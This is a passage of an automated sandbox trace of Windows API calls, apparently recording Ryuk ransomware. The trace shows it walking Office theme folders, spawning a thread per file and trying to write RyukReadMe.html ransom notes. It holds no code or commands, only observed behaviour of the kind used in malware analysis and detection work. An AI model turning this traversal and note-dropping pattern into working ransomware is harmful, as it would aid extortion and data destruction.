	[0161.202] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0161.337] SetLastError (dwErrCode=0x0) 
	[0161.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.338] GetLastError () returned 0x5
	[0161.338] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.338] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.338] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1
	[0161.338] SetLastError (dwErrCode=0x0) 
	[0161.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.339] GetLastError () returned 0x5
	[0161.339] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.339] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.339] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0161.341] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.341] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1
	[0161.341] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634
	[0161.344] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.345] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1
	[0161.345] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638
	[0161.347] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.348] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0161.348] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.349] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c
	[0161.350] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.351] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0161.351] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640
	[0161.354] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.355] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0161.355] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0161.355] SetLastError (dwErrCode=0x0) 
	[0161.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.355] GetLastError () returned 0x5
	[0161.355] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.356] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.356] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1
	[0161.356] SetLastError (dwErrCode=0x0) 
	[0161.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.356] GetLastError () returned 0x5
	[0161.356] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.356] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.357] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0161.357] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.357] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1
	[0161.357] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644
	[0161.359] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.360] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1
	[0161.360] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.361] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648
	[0161.363] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.364] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0161.364] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c
	[0161.366] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.367] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0161.367] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.368] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650
	[0161.369] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.370] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0161.370] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0161.370] SetLastError (dwErrCode=0x0) 
	[0161.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.370] GetLastError () returned 0x5
	[0161.371] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.371] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.371] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1
	[0161.371] SetLastError (dwErrCode=0x0) 
	[0161.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.371] GetLastError () returned 0x5
	[0161.371] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.372] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.372] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0161.501] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.501] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1
	[0161.501] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.502] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654
	[0161.504] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.505] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1
	[0161.505] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.505] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658
	[0161.508] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.508] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0161.508] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c
	[0161.511] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.511] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0161.511] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660
	[0161.514] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.515] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0161.515] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0161.515] SetLastError (dwErrCode=0x0) 
	[0161.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.515] GetLastError () returned 0x5
	[0161.516] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.516] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.516] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1
	[0161.516] SetLastError (dwErrCode=0x0) 
	[0161.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.516] GetLastError () returned 0x5
	[0161.516] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.516] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
